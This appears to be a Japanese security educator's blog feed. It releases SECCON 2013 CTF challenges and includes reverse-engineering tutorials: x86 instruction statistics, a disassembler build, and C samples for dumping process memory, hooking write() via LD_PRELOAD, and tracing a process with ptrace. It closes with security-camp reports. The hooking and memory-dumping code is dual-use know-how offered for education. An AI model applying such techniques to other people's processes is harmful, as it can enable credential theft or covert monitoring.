読者です 読者をやめる 読者になる 読者になる

SECCON2013で出題した問題一式を公開しました。

 去年(2013年)から今年にかけてSECCON2013というセキュリティコンテストの運営に参加させていただきました。主に問題作成担当だったので、もし参加された方がいましたら、いくつかの問題は私が作成したものだったかもしれません。
 そのSECCONも先週末(3月1~2日)の決勝戦を終えてひとまずひと段落となりましたので、この1年で出題された(私が作った)問題一式を可能な限り公開したいと思います。

50000枚のアセンブラ短歌画像から 0609 と表示されるものを探せ

 http://07c00.com/tmp/tanka5t-50000.zip
 これは決勝戦で出題された問題(の一部)です。50000枚の画像がZIP圧縮されており、1枚1枚にはアセンブラ短歌(マシン語列)が書かれています。その中から 0609 を表示するものを探す問題でした。画像からテキスト(コード)を抽出し、それを実行するコードを書く必要があります。
 問題作成においてはマシン語を私(愛甲)が、画像化部分を竹迫氏が担当しています。またアセンブラ短歌は書籍にもなっています(私も少し書かせていただいています)。もし興味があればぜひ買ってみてください。

31バイトでつくるアセンブラプログラミング ?アセンブラ短歌の世界?

31バイトでつくるアセンブラプログラミング ?アセンブラ短歌の世界?

 解法はこちらのブログ→SECCON CTF 2013 全国大会 Druaga write-up - math314のブログの方がwrite-upを書いてくださっています。

暗号解読

f:id:b07c00:20140305011106p:plain
 こちらは暗号の問題です。SECCON2013オンライン予選にてCrypt300として出題されました。暗号解読というタイトルで上記の画像が1枚渡される問題です。知っていればとても簡単で、楕円暗号の問題ですね。ビット数が小さいため簡単に解読が可能です。
 CTFではあまりコアな暗号が扱われない(古典暗号ばかりの)ため、こういった新しめの暗号も扱ってほしいなぁと個人的に思って、今回は自分で作ってみた感じになりました。近代暗号の脆弱性なんかを扱った問題とかも面白いと思うので機会があれば作ってみたいと思います。
 解法はSECCONオンライン予選のwrite-upをまとめたサイトがありますので、ここのプログラミング・cryptの300を見てみてください。何人かの方がwrite-upを書いてくださっています。

Enjoy the Game

 http://07c00.com/tmp/game_seccon2013_online.zip
 続いても、同じくSECCON2013オンライン予選で出題された問題です。こっちはBin100として出題されました。Windows/x64で動作する(ダンジョン探索系の)ゲームで、クリアすればパスワードが表示されます。f:id:b07c00:20140305013720p:plain
 迷路のようになっており、クリアするためには隠し通路(というか通り抜けできる壁)を探す必要があります。解法はいろいろありますが、基本は実行ファイルを解析してクリア条件を満たすように修正する問題となります。Windows/x86だと便利なツールが出揃っていて簡単に解ける問題なのですが、逆にツールに頼りきってしまってベースとなる知識や技術がないがしろになったりもするので、あえてx64で出題した問題でした。これも解法はSECCONオンライン予選のwrite-upをまとめたサイトから確認できると思います。

Shellcoder's Challenge と Hack this site!

 Shellcoder's ChallengeはSECCON関西(大阪)大会にて実施したバイナリ系のコンテストです。これは会社のブログで詳しく書いてたりしますので、そちらを参照ください。
 Hack this site!は、SECCON2013オンライン予選でBin500として出題された問題です。
f:id:b07c00:20140305015640p:plain
 Shellcoder's Challengeのシステムには思いっきり脆弱性があったため、それをそのまま問題にしてしまった感じなのが実はオンライン予選のBin500でしたw
 Shellcoder's ChallengeとHack this site!は問題のソースコード一式をGitHubに公開しているので、興味がある方はそちらを参照してください。

 私が関わった問題はだいたいこんな感じです。実際は他にもまだまだあったとは思うのですが、ちょっと覚えてなかったり、コードや問題ファイルがすでに紛失していたり、似た問題だったりといった感じだったりすると思うのでまたの機会にさせていただきます。
 最後にSECCON2013に参加された方々お疲れ様でした。自分も以前少しだけCTFをやってたことがあるのですが、これほど勝負はときの運だなぁと感じるものもないと思いました。大会によって出題傾向は変わるし、ルールも毎回変わるし、扱われる技術分野は広すぎだしである程度運ゲーを覚悟してた感がありました。ただ、技術分野が広いからこそすごく勉強になるし、興味がなかった、学ぶ機会がなかった分野の知識も否応なくついて、すごくスキルアップを実感できた感もあり(あとめちゃくちゃすごいやつに出会えたりもしてw)、まぁ楽しかったなぁという経験があったことが今回SECCONに協力させてもらった理由のひとつでした。今後のSECCONがどうなるかは分かりませんが、DEFCON CTFのように長く続き、そして海外からも参加者がくるような大きな大会になればいいなと思います。本当にお疲れ様でした。

CodeIQブロクさんに寄稿させていただきました。

 バイナリ、アセンブラ短歌、CTF、セキュリティ関係の内容でCodeIQブログさんに寄稿させていただきました。良かったら読んでみてください。

 バイナリアンになろう!
 http://codeiq.hatenablog.com/entry/2013/11/11/130145

 CodeIQとは競技プログラミングやCTFとはまた少し違い、実務よりのスキル評価サービスです。もしこれらに興味があればぜひやってみてください。

アセンブラ命令(x86)をクラスタリングしてみた。

 以前、出現頻度の高いアセンブラ命令を調べてみる。という記事で命令ごとの出現頻度を調べました。あのときはWindows環境でProgram Files以下のPEファイルを対象にデータをとりましたが、今回はFreeBSDのlibcを対象にデータをとってみたいと思います。

 まずはobjdumpでlibcを逆アセンブルした結果をもとに出現頻度を集計します。

01. mov  15138      11. pop   1370      21. cmpl   211
02. lea   2068      12. jne   1180      22. sar    210
03. jmp   2018      13. sub   1067      23. cmpb   202
04. movl  2012      14. push  1037      24. ja     197
05. test  1977      15. and    808      25. jbe    191
06. call  1958      16. xor    717      26. movb   181
07. je    1815      17. ret    583      27. shr    176
08. add   1605      18. or     467      28. shl    159
09. nop   1572      19. movzbl 392      29. imul   140
10. cmp   1498      20. jle    291      30. addl   140

 Windows環境と比べてどうでしょうか。上位陣はわりと安定してますね。今回はobjdumpで逆アセンブルしたのでmov、movl、movbが別々にカウントされていたり、int3の代わりにnopが増えていたりとデータの取得方法の違いによる誤差がありますが、まぁ順位については大きな影響はないと思います。

 続いて、命令Xが出現したとき次に命令Yが出現する確率を算出します(縦X、横Y)。

movleajmpmovltestcalljeaddnop
mov415990353105239035520703808394013890403400192
lea378921426903197058020213105092012430698600118
jmp380051970100349066830149603042000000219508229
movl334990134208598271370139215060003480526800099
test143650086000051003030000000000445620000000658
call401330327212372090491774001840000000434601074
je476580391202645056750418702534000000451800386
add331670299302993032410361502057013090623400000
nop018470781303479003550000000213006390021383452

 先頭の0.を省いているので、例えばmovが出現したあとさらに次もmovである確率は0.41599、次がnopである確率は0.00192という感じです。ざっと眺めてみると、testのあとにjeが来る確率は0.44562と非常に高くなっていたり、出現頻度の高さからmovが常に高い値を示していたり、またnopが連続する確率が0.83452となっていたりといろいろと興味深いものになっています。

 ではこのデータを使って命令をクラスタリングしてみます。今回は R を使いました。

> data2<-read.csv("C:\\cnts.csv",header=T,row.names=1)
> plot(hclust(dist(data2,"canberra"),"ward"),hang=-1)

f:id:b07c00:20131013025626p:plain

 出現頻度の高い上位32命令をクラスタリングした結果が上の図です。「次に出現する命令」という特徴で分類していますが、わりとうまい具合に似た命令が集まっています。

 左端のグループはcmp、testが集まっています。いわゆる条件分岐系ですね。おそらく次にくる命令にje、jneといったものが多いためこのようになったと推測できます。逆にjmp系命令は別々のクラスタに分かれています。これは興味深いですね。je、jneといった単純なイコール比較はcallやjmpと似ており、jle、jg、jaといったものとは別のクラスタになっていますね。なかなか興味深い結果です。個人的にはimulがshrやshlと同じところにいるのが気に入りました。

 逆に気に入らないのはnopの場所です。命令の性質上もっと独立しているべきだと思いますが、普通にpush、popと同じ辺りに割り当てられています。この辺りは微妙ですね。

 ちなみにkmeansで6つに分けるとちゃんとnopが独立していました(ただ他の命令が微妙な感じですがw)。

> data2.kms<-kmeans(data2,6)
> data2.kms$cluster
   mov    lea    jmp   movl   test   call     je    add    nop
     6      6      6      6      4      6      6      6      3
   cmp    pop    jne    sub   push    and    xor    ret     or 
     4      1      6      6      2      5      6      6      2
movzbl    jle   cmpl    sar   cmpb     ja    jbe   movb    shr 
     5      2      4      5      4      6      6      6      5
   shl   imul   addl     js     jg 
     5      5      6      6      6 

 こんな感じでアセンブラ命令を解析してみるのも面白いかもしれません。
 続く…かも?

アセンブラ命令とマシン語で相互変換したい。

 OllyDbgの作者が(おそらくOllyDbg内で使っていると思われる)80x86 32-bit Disassembler and Assemblerソースコード含めて公開しています。サイズも小さく、勉強にはもってこいなのでここで紹介したいと思います。

 ソースコード一式は上記サイトからダウンロードできるのですが、そのままだとVisual C++ 2010 Express版ではビルドが通りませんので、少し修正する必要があります。ソースファイルは以下の5つです。

 これらを適当にプロジェクトに追加してビルドすると、pow10l、strupr、trlwr、strnicmp、memicmpあたりの関数がない(とかdeprecatedだとか)と言われて警告なりエラーなりが出ます。またdir.hがないとも言われると思います。

 とりあえず足りない関数はこんな感じで自前で実装してあげます。dir.hはコメントアウト、string.hもコメントアウトでOKです(以下の関数を追加すれば)。

long double pow10l(long double x)
{
    return powl(10, x);
}
char *strupr(char *s)
{
    char *p = s;
    while (*s){
        *s = toupper(*s);
        ++s;
    }
    return p;
}
char *strlwr(char *s)
{
    char *p = s;
    
    while (*s){
        *s = tolower(*s);
        ++s;
    }
    return p;
}
int strnicmp(const char *s1, const char *s2, size_t len)
{
    unsigned char c1, c2;
    
    if (!len)
        return 0;
    
    do {
        c1 = *s1++;
        c2 = *s2++;
        
        if (!c1 || !c2)
            break;
        
        if (c1 == c2)
            continue;
        
        c1 = tolower(c1);
        c2 = tolower(c2);
        if (c1 != c2)
            break;
    } while (--len);
    
    return (int)c1 - (int)c2;
}
int memicmp(const void *s1, const void *s2, size_t n)
{
    int dif;
    unsigned char *b1 = (unsigned char *)s1;
    unsigned char *b2 = (unsigned char *)s2;

    for (; n-- >0; b1++, b2++ ){
        dif = toupper(*b1) - toupper(*b2);
        if (dif != 0)
            return(dif);
    }

    return 0;
}

 またセキュリティがどうのこうのとも警告されるので、気になるようならすべての.cファイルで_CRT_SECURE_NO_WARNINGSをdefineしてください。

#define _CRT_SECURE_NO_WARNINGS

 以上を適用したものをGitHubに公開しています。

 実行するとテストプログラム(main.c)の結果が表示されますが、自前で書くとこんな感じになります。

int main()
{
    t_disasm da;
    t_asmmodel am;
    char errtext[1024];
    char pasm[] = "mov ecx,esp";
    unsigned char hex[] = { 0x8b, 0xcc };
    int len, i;

    // mov ecx,esp
    Disasm((char *)hex, sizeof(hex), 0x400000, &da, DISASM_CODE);
    printf("8b cc = %s\n", da.result);
    
    // 8b cc
    len = Assemble(pasm, 0x400000, &am, 0, 0, errtext);
    printf("mov ecx,esp = ");
    for(i=0; i < len; i++)
        printf("%02x ", am.code[i] & 0xff);
    printf("\n");
    return 0;
}
C:\>asmdisas.exe
8b cc = MOV ECX,ESP
mov ecx,esp = 8b cc

 それぞれ相互変換できています。全ソースコードも3000行ちょっとと読みやすい感じになっていますのでアセンブラの勉強に役立つかもしれません。

jubatusハンズオン ~EC2で分散実行編~ に参加してみた。

 ハンズオン形式の勉強会、jubatusハンズオン ~EC2で分散実行編~に参加してきました(資料も公開されています)。

 自分そもそも分散処理という単語にはまったくの無縁で、完全シロウトだったので参加を見送ろうと思ってたのですが、ただ第1回目のjubatusハンズオンが本当に分かりやすく面白かったので、そのノリで今回も参加登録してみました。また、そもそも分散処理ってどうやってハンズオンするんだろうとも思ってましたが、Amazon EC2を利用するという新しい試み。

 参加したあとに、これは復習しておかないと忘れるなーと思ったのでついでにpptにしてslideshareに公開しました。興味ある方はご参考にでも。

 今回のハンズオンは、分散処理シロウト勢で(Amazon EC2とかも一切使ったことない自分みたいな人で)も普通に分かるほどの親切資料満載ですごい分かりやすかったので、参加して本当によかった感じでした。

プロセスダンプするプログラムを作成してみよう!

 Windows環境においてプロセスをダンプするにはMiniDumpWriteDumpを使います。

BOOL WINAPI MiniDumpWriteDump(
  _In_  HANDLE hProcess,
  _In_  DWORD ProcessId,
  _In_  HANDLE hFile,
  _In_  MINIDUMP_TYPE DumpType,
  _In_  PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
  _In_  PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
  _In_  PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);

 第1、第2引数は対象となるプロセス、第3引数は作成するダンプファイルのハンドル、そしてダンプファイルにどこまでの情報を含めるかは、第4引数DumpTypeで指定します。__try__exceptでエラーを検知してそのタイミングでMiniDumpWriteDumpを呼び出し、ダンプファイルを作成してみましょう。

 サンプルコードは以下になります(全サンプルファイルはGitHubにあります)。

// dump01.cpp
// 

#include <windows.h>
#include <tchar.h>
#include <dbghelp.h>
#include <stdio.h>
#include <crtdbg.h>

#pragma comment (lib, "dbghelp.lib")

void CreateDump(EXCEPTION_POINTERS *pep, int level)
{
    TCHAR szFilePath[1024];
    GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));

    _tcscat_s(szFilePath, _T(".dmp"));

    HANDLE hFile = CreateFile(szFilePath, 
        GENERIC_READ | GENERIC_WRITE, 
        0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE){
        _tprintf(_T("CreateFile failed. Error: %u \n"), 
            GetLastError());
        return;
    }
    
    MINIDUMP_EXCEPTION_INFORMATION mdei;

    mdei.ThreadId          = GetCurrentThreadId();
    mdei.ExceptionPointers = pep;
    mdei.ClientPointers    = FALSE;

    MINIDUMP_CALLBACK_INFORMATION mci;

    mci.CallbackRoutine    = NULL;
    mci.CallbackParam      = 0;

    MINIDUMP_TYPE mdt;

    switch(level)
    {
    case 0:
        mdt = (MINIDUMP_TYPE)(MiniDumpNormal);
        break;
    case 1:
        mdt = (MINIDUMP_TYPE)(
            MiniDumpWithIndirectlyReferencedMemory |
            MiniDumpScanMemory);
        break;
    case 2:
        mdt = (MINIDUMP_TYPE)(
            MiniDumpWithPrivateReadWriteMemory | 
            MiniDumpWithDataSegs | 
            MiniDumpWithHandleData |
            MiniDumpWithFullMemoryInfo | 
            MiniDumpWithThreadInfo | 
            MiniDumpWithUnloadedModules);
        break;
    default:
        mdt = (MINIDUMP_TYPE)(
            MiniDumpWithFullMemory | 
            MiniDumpWithFullMemoryInfo |
            MiniDumpWithHandleData | 
            MiniDumpWithThreadInfo | 
            MiniDumpWithUnloadedModules);
        break;
    }
    
    BOOL rv = MiniDumpWriteDump(
        GetCurrentProcess(), GetCurrentProcessId(), 
        hFile, mdt, (pep != NULL) ? &mdei : NULL, NULL, &mci);
    if(rv == FALSE){
        _tprintf(_T("MiniDumpWriteDump failed. Error: %u \n"), 
            GetLastError());
    }
    
    CloseHandle(hFile);
    return;
}

int main(int argc, char* argv[]) 
{
    int dumplevel = 0; // dumplevel: 0-3

    if(argc >= 2)
        dumplevel = atoi(argv[1]);

    __try
    {
        *(DWORD *)0 = 0x12345678;

    }__except(
        CreateDump(GetExceptionInformation(), dumplevel), 
        EXCEPTION_EXECUTE_HANDLER)
    {
        _tprintf( _T("Dumped!!\n"));
    }

    return 0; 
}

 VisualStudio 2010 Express版でビルドしました。

 引数に0から3までのいずれかの値を指定するとダンプファイル(ファイル名に.dmpを追加したもの)が作成されます。

C:\dumpXX\Release>dump01.exe 0
Dumped!!
※同じフォルダにdump01.exe.dmpというファイルが作られる

 引数には、ダンプファイルにどれだけの情報を含めるかを表すレベルを指定します。0が最小ダンプ、3が完全ダンプとなります。それぞれswitch文で分岐しているMINIDUMP_TYPE mdtの値によって決まります。

 このサンプルでは自分自身(自プロセス)をダンプしていますが、MiniDumpWriteDumpに渡すプロセスIDを任意に指定することで他プロセスもダンプできます(dump03.cppを参照のこと)。MiniDumpWriteDumpのhProcessとExceptionParamはNULLでも問題ないようですが、一応セットできるときはセットしておきましょう。

 プロセスダンプに関する詳細は、英語のサイトですがEFFECTIVE MINIDUMPSがかなり詳しいです。

LD_PRELOADで関数フックしてみよう!

 「たのしいバイナリの歩き方」の4章でWindows環境におけるAPIフックについて解説しました。今回はLinux環境についても解説しましょう。

 Linux環境(Ubuntu 12.04.2)ではLD_PRELOADという環境変数を使うことで似たようなことが可能です。LD_PRELOADでググってみるとサンプルコードがいくつも見つかります。

 試しにwriteをフックする例を示しましょう。

// test.c
// $ gcc test -o test.c

#include <string.h>
#include <unistd.h>

int main()
{
    char s[] = "Hello World!\n";
    write(1, s, strlen(s));
    return 0;
}
$ gcc test.c -o test
$ ldd test
    linux-gate.so.1 =>  (0xb7771000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c1000)
    /lib/ld-linux.so.2 (0xb7772000)
// hook.c
// $ gcc -fPIC -shared -o hook.so hook.c -ldl

#include <unistd.h>
#include <dlfcn.h>
#include <stdio.h>

int g_first = 0;
void *g_h;
ssize_t (*g_f)(int, const void *, size_t);

ssize_t write(int fd, const void *buf, size_t count)
{
    if(g_first == 0){
        g_first = 1;
        g_h = dlopen("libc.so.6", RTLD_LAZY);
        g_f = dlsym(g_h, "write");
    }
    printf("call write\n");
    return (*g_f)(fd, buf, count);
}
$ gcc -fPIC -shared -o hook.so hook.c -ldl
$ LD_PRELOAD=./hook.so ./test
call write
Hello World!

 LD_PRELOADに設定した.soファイルが持つ同名関数は優先して実行されます。なのでlibc.so.6が持つwriteを無視してhook.soのwriteが実行されました(結果call writeが表示)。そのhook.soのwrite内であらためてlibc.so.6のwriteを呼び出せばフック完了です(通常どおりHello World!が表示)。

 このようにLinuxのLD_PRELOADはWindowsよりシンプルにAPIフックを実現します。

ptraceを使ってみよう!

 「たのしいバイナリの歩き方」では4章で簡易的なデバッガの作成を解説しています。ただWindows環境での話でした。ptraceを使うことで、同じようなことをLinux環境(Ubuntu 12.04.2)でも実現できます。基本的な仕組みはWindowsのときと同じです。

 試しにやってみましょう。

// dbg.c
// $ gcc -Wall dbg.c -o dbg

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/user.h>
#include <errno.h>

void err(char *str)
{
    fprintf(stderr, "ERROR: %s\n", str);
}

void target(char *argv[], char *argp[])
{
    if(ptrace(PTRACE_TRACEME, 0, NULL, NULL) != -1)
        execve(argv[0], argv, argp);
    else
        err("PTRACE_TRACEME");
    exit(0);
}

void controler(int pid)
{
    int status;
    struct user_regs_struct regs;

    while(1){
        waitpid(pid, &status, 0);
        if(WIFEXITED(status))
            break;
        ptrace(PTRACE_GETREGS, pid, 0, &regs);
        printf("%08x: \n", (unsigned int)regs.eip);
        ptrace(PTRACE_SINGLESTEP, pid, 0, NULL);
    }
}

int exec_prog(char *argv[], char *argp[])
{
    int pid;

    switch(pid = fork())
    {
    case 0:
        target(argv, argp);
        break;
    case -1:
        err("FORK");
        break;
    default:
        controler(pid);
        break;
    }
    return 0;
}

int main(int argc, char *argv[], char *argp[])
{
    if(argc < 2){
        fprintf(stderr, "%s <args>\n", argv[0]);
        return 1;
    }

    argv++;
    exec_prog(argv, argp);
    return 0;
}
// target.c
// $ gcc target.c -o target

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    if(argc != 2){
        printf("%s <PASSWORD>\n", argv[0]);
        return 1;
    }
    if(strcmp("BINARY", argv[1]) == 0)
        printf("OK!\n");
    else
        printf("ERR\n");
    return 0;
}
$ gcc target.c -o target
$ gcc -Wall dbg.c -o dbg
$ ./dbg target > eiplog
$ cat eiplog | more
b77551d0:
b77551d2:
b7758c80:
b7758c81:
b7758c83:
b7758c84:
(省略)

 4章まで読まれた方なら動作概要は容易に理解できるかと思います。基本的に、ptrace関数に渡す第1引数によって動作が異なります。

PTRACE_ATTACH 任意のプロセスにアタッチ
PTRACE_DETACH デバッギからデタッチ
PTRACE_KILL デバッギを強制終了
PTRACE_TRACEME 自身がデバッギになる
PTRACE_PEEKDATA (デバッギの)メモリ空間を読む
PTRACE_POKEDATA (デバッギの)メモリ空間へ書く
PTRACE_GETREGS (デバッギの)レジスタを取得する
PTRACE_SYSCALL 実行し、システムコールの前後で停止する
PTRACE_SINGLESTEP 実行し、1命令処理後に停止する

 ここに挙げた以外にもめちゃくちゃたくさんあるのですが、説明しきれないので詳細はman ptraceを見てください。これをベースに作り込むと、いろいろと便利なものが作れます。2年ほど前に私が書いたものもぜひ参考にしてみてください。

アセンブラかるたを極めたい。

 SECCON2013 横浜大会にて「アセンブラかるた」というものが扱われました。詳しくはリンク先を見てほしいのですが、一言でいうと"x86の1バイト命令を使ったかるた"です。例えば、表が0x90なら裏はNOPとか、そんな感じ。

 このアセンブラかるた、極めるのは実はそんなに難しくありません。1バイト命令である以上、扱われる命令は最大でも256個しかないわけです(実際はもっとずっと少ない)。
 f:id:b07c00:20130827005649p:plain

 つまり、これを全部覚えればOK!

 最初に覚えるポイントとしては、まず0x4Xはincとdec、0x5Xはpushとpopを覚えましょう。そして0x9Xの前半はxchg。これだけでとりあえず初心者には勝てるようになります。レジスタの順番は固定なので暗記するところも少ないです。

 それらを覚えたら、次は全体的な配置です。似たような命令はだいたい同じところに固まっていますので"こういう命令はこの辺にある"みたいなざっくりとした全体図を覚えておけば、それだけで推測できます。これは1バイト命令に限らず、2バイト以上の命令でも同じです。全体的な雰囲気がつかめれば、たとえすぐには分からなくとも思い出しやすくなります。

 そしてもちろん、全部覚えてしまったら完璧です。あとは速度だけの問題になるでしょう。というより、1バイト命令をすべて覚えてしまうのはそれほど難しくなく、かつ、覚えてしまった同士の対決だと普通の"かるた"と同じです。なので、極めた同士の対決だとただのかるた勝負になりそうですがw、それはそれでまた楽しいんじゃないかと思います。

 そしてこれ、2バイト命令版とか3バイト命令版とかも作れそうですが、2バイト命令ならまだしも3バイト以上になるとかなり厳しい勝負になるんじゃないかというか、そもそもぼく2バイトすらろくに覚えてないからきっと実際やるとなったらまったく勝てないと思います。いまのうちに覚えておこうかなw

「たのしいバイナリの歩き方」が無事発売されました。

 正確には8/22に発売されているのですでに発売後5日目(?)なのですが(汗)、無事発売までこぎつけることができました。
 

たのしいバイナリの歩き方

たのしいバイナリの歩き方

 入門者向けなので、アセンブラを読んだことがあるくらいの人には少しもの足りない内容かもしれません。書籍内で扱うソースコード等一式はGitHubに公開していますので、購入する際の参考にしてください。

 当ブログでも、書籍に書けなかった内容などを随時更新していこうと思っていますので、ぜひよろしくお願い致します。

シリツ・プログラミングキャンプ2013に参加してきました。

 シリツ・プログラミングキャンプ2013に参加してきました。

 シリツ・プログラミングキャンプとは、そもそも遥か昔、セキュリティ&プログラミングキャンプという学生向けのイベントがあったのですが、それが2012年以降プログラミングコースがなくなり、セキュリティキャンプというイベントに変わってしまいました。セキュリティしか扱わないとなると、プログラミングに興味がある学生は参加できません。

 そんな中で@umisamaさんが企画したのがシリツ・プログラミングキャンプです(ちなみにセキュリティキャンプとは一切関係ないようです)。

 私は去年は参加できたのですが、今年は参加者が多く補欠となってしまいました。今年は参加できないかなと思ってたのですが、当日になって参加している人から連絡があり、まだ余裕ありそうってことで急きょ途中参加させてもらいました。

 基本的に何かを作って各自それを披露するというだけのイベントで、まさにプログラミングキャンプのノリです! 発表内容は本当に多種多様で、カーネルランドからemacsをkillするプログラムを作ってた人、pagefaultでステルスなbreakpoint作ろうとしてた人、プロジェクターに繋げるたびにPCがフリーズしてた人などなど、なんでもあり状態でした。

 そして今回私が発表に使ったのがアセンブラテトリスになります。

 f:id:b07c00:20130818193330j:plain

 落ちてくる16進ブロック(4bit単位)を組み合わて機械語x86)を構成するという少し変わったテトリスです。ラインが消えるとき、そのラインに書かれてあるHexデータを逆アセンブルし、正常に逆アセンブルできたら得点が入ります。できなければinvalidとなり、ラインが消えるだけです。まだα版でテスト用に公開しているだけの絶賛開発中状態でいろいろと不備があるかもしれません。右上の黒いところも現時点では特に意味ないです。いや本当は消した機械語をここで実行できるようにしようと思ったのですが、無理ゲーすぎたので別のルールを考え中です。

 こういう"よく分からないもの"を発表できるってのもシリツ・プログラミングキャンプのよいところだと思います。

 ちなみに東京大会は終わりましたが、関西大会は今週末にあるようです。興味があれば(そして関西在住の方は)ぜひ参加してみてください。

セキュリティ・キャンプ2013に参加してきました。

 セキュリティ・キャンプ2013に参加してきました。

 セキュリティ・キャンプとは、情報セキュリティについて本格的に学びたいという意欲を持った学生(22歳以下)向けの合宿イベントで、毎年夏に開催されています。今年は海浜幕張駅から歩いて数分のクロス・ウェーブ幕張にて、4泊5日で開催されました。

 今年は様々なメディアさんにも取材されており、すでにいくつか記事も上がっています。


f:id:b07c00:20130815010530j:plain

 会場の画像です(なぜか夜ですがw)。

 今年のセキュリティ・キャンプで扱われた分野(クラス)は「ソフトウェアセキュリティクラス」「Webセキュリティクラス」「ネットワークセキュリティクラス」そして「セキュアなシステムを作ろうクラス」の4つでした。

 ソフトウェアセキュリティクラスは名前からすると少し分かりにくいですが、主にバイナリ系を扱うクラスで、バッファオーバーフローDEP、ASLR、ROP辺りがキーワードになります。Webセキュリティクラスは、主にブラウザ上で動作するアプリケーションのセキュリティに関する技術を扱うもので、キーワードはXSSSQLインジェクション、CSRFなどです。そしてネットワークセキュリティクラスは、その名の通り(TCP/IPを中心とした)ネットワークにフォーカスしており、パケット解析、MalwareやExploitなどからの攻撃検知や、ネットワークに繋がる各種機器へのファジングといったことが題材になるようです。

 最後にセキュアなシステムを作ろうクラスについてですが、このクラスはさらにゼミという形式で扱う内容を参加者ごとに分けており一概に説明できないのですが、12ステップで作る組み込みOS自作入門の著者である坂井弘亮氏や、30日でできる!OS自作入門の著者である川合秀実氏が講師で参加されてることから、OSにどうセキュリティを組み込むかといった点にフォーカスしたクラスのようでした。

 各クラスどういった内容を扱うのかは、応募用紙からも推測できると思います。

 セキュリティ・キャンプの講義は、各クラスに分かれてやる"専門"と、全クラス合同でやる"共通"があります。その他にもBoFといういくつかの講義から参加者が選んで参加できるものもあるのですが、基本はこの2つです。

 1日目はすべて共通の講義で、特別講義とグループワークがありました。

 特別講義では、独立行政法人 情報通信研究機構NICT)の井上大介氏をお呼びして「可視化システム」についての講義がありました。DAEDALUSNIRVANAは井上氏のチームが開発した可視化システムです。

 そもそもソフトウェアはデータであり、物質として目に見えるものではないです。キーボードをカタカタ入力して$が#に変わっても技術者ではない普通の人には何が起こったのか分かりませんし、facebookでalertが出せてもそのクリティカル度合いを測れません。なんさま目に見えないので、すごさも危険性もまったく分からないわけです。しかしネットワークからの攻撃やシステムの状態を可視化することで、専門的なことは分からなくともなんかヤバそう、とか、なんとなくすごい、みたいなことをイメージしやすくなります。

 またこういった可視化の技術は、プレゼンテーションにおいてもとても映えます。本当に井上氏の講義はすごく面白く、またカッコよかったです。まさに可視化を研究されてる人ならではのプレゼンテーションだと感じました。

 グループワークについても紹介しておきましょう。

 グループワークというのは、全クラスの参加者をまぜこぜにして11つほどグループを作り、各グループで自由に発表したいことを作り出す講義(?)です。最終日に各グループ5分間だけプレゼン時間が与えられ、その時間内で好きなことをプレゼンテーションできます。毎年参加者は自由すぎる発想を持っており、今年はトイレのセキュリティだったり、二次元と三次元を繋げる方法だったりと、例年のごとくフリーダムでした。既存技術や実現方法にとらわれず、なんでもかんでも話せるところグループワークの魅力だと思います。

 2日目~4日目午前までは、主に専門講義になりますが、その前に3日目の夜のBoFについて書いておきたいと思います。

 BoFというのは選択式の講義で、用意されたいくつかの講義から参加者が選んで参加できるというものです。大学の授業と似ているかもしれません。ちなみにここで用意されている講義は専門とはまったく別のもので、また技術的な内容以外も扱われます。どちらかというとグループワークと似ており、講義というより議論といった感じで、参加者もいっしょに考えてもらう形式です。用意された講義には、セキュリティ分野のキャリアプランからアセンブラ短歌まで、本当に多種多様なものがありました。

 2日目以降は、BoF以外の時間は基本的に専門講義にあてられます(本当は企業見学やチュータープレゼンなども入っているのですが、これは講義ではないので)。

 私は2010年から講師としてソフトウェアセキュリティクラスに参加しており、今年で4回目となります。去年までずっと"マルウェア解析演習"を講義に入れていたのですが、今年は初めて、脆弱性攻撃一本でいくことになりました。マルウェア解析を楽しみにしていた参加者もいて申し訳なかったのですが、その分、脆弱性攻撃について深く扱えたのかなと思っています。

 脆弱性攻撃もいまは複雑化しており、キャンプ期間中にすべてを伝えるのはとても難しいのですが、まずはLinux環境でサンプルプログラムに対してExploitingを試してもらい、続いてWindows環境でのshellcode作成と防御手法を考える、そして最後に実際に発見されたAdobe Readerの脆弱性を利用するExploitを解析してもらうという流れで進みました。正直な話をいうともう少しカリキュラムを減らした方がよかったかなとも思いましたが、扱った内容をサイボウズライブに公開すればキャンプが終わってからも勉強は続けられるため、期間中は多少無理をしてもたくさんのことを扱うことにしました。

 また、たのしいバイナリの歩き方を編集の方に無理をいって、参加者(10名)分+α送っていただきました。技術評論社さん、本当に感謝です!

 f:id:b07c00:20130814135303j:plain

 専門は4日目の午前中までにすべて終わり、4日目午後からはCTFになります。CTFとはセキュリティコンテストの一種で、様々なセキュリティ分野における課題が出題され、それを解いて得点を得る形式の競技です。またキャンプのCTFでは授業で扱った内容やそれに近いものも多く出題されるため、復習的な意味合いもあります。

 CTF自体は世界的にもさまざまな国で開催されており、日本でも2012年にキャンプとは別にSECCON CTFというものが国内の学生向けに開催されています。2013年からは学生、社会人問わず、誰でも参加できるようになり、キャンプも終わってすぐですが、さっそく8/22~23にかけてSECCON×CEDEC CHALLENGEと題し、横浜大会が開催されます。もしCTFに興味がわいたら、SECCON CTFに参加してみるのもよいかもしれません。

 そして最終日の5日目です。

 最終日は、グループワークの発表、各クラスの発表と、参加者にとっては発表が続きます。正直、プレゼン資料を作ったこともない、人前で発表したこともないという学生が、キャンプ期間中というとても短い時間で演習をやり、プレゼン資料を作り、それを全員の前で発表するという、よく考えるとものすごいスケジュールになっていると思いますが、それでもなんだかんだでそれをこなしている参加者は本当にすごいと思いますし、逆に本気出せばここまでやれる人たちが集まっているのかなという感じもします。また5日目は講師にとっては一番楽しみな日でもあります。グループワークも各クラス発表も参加者がどんなことを話してくれるのかわくわくしています。

 発表内容は各クラスそれぞれで、脆弱性を調査、解析したり、セキュリティ機能を作ったり、ファジングしたりと様々です。クラスでやることは毎年異なっているのですが、今年はより実践的な内容が多かったように思えます。

 そんなこんなで発表は終わり、表彰式→閉会式でキャンプは終了となります。

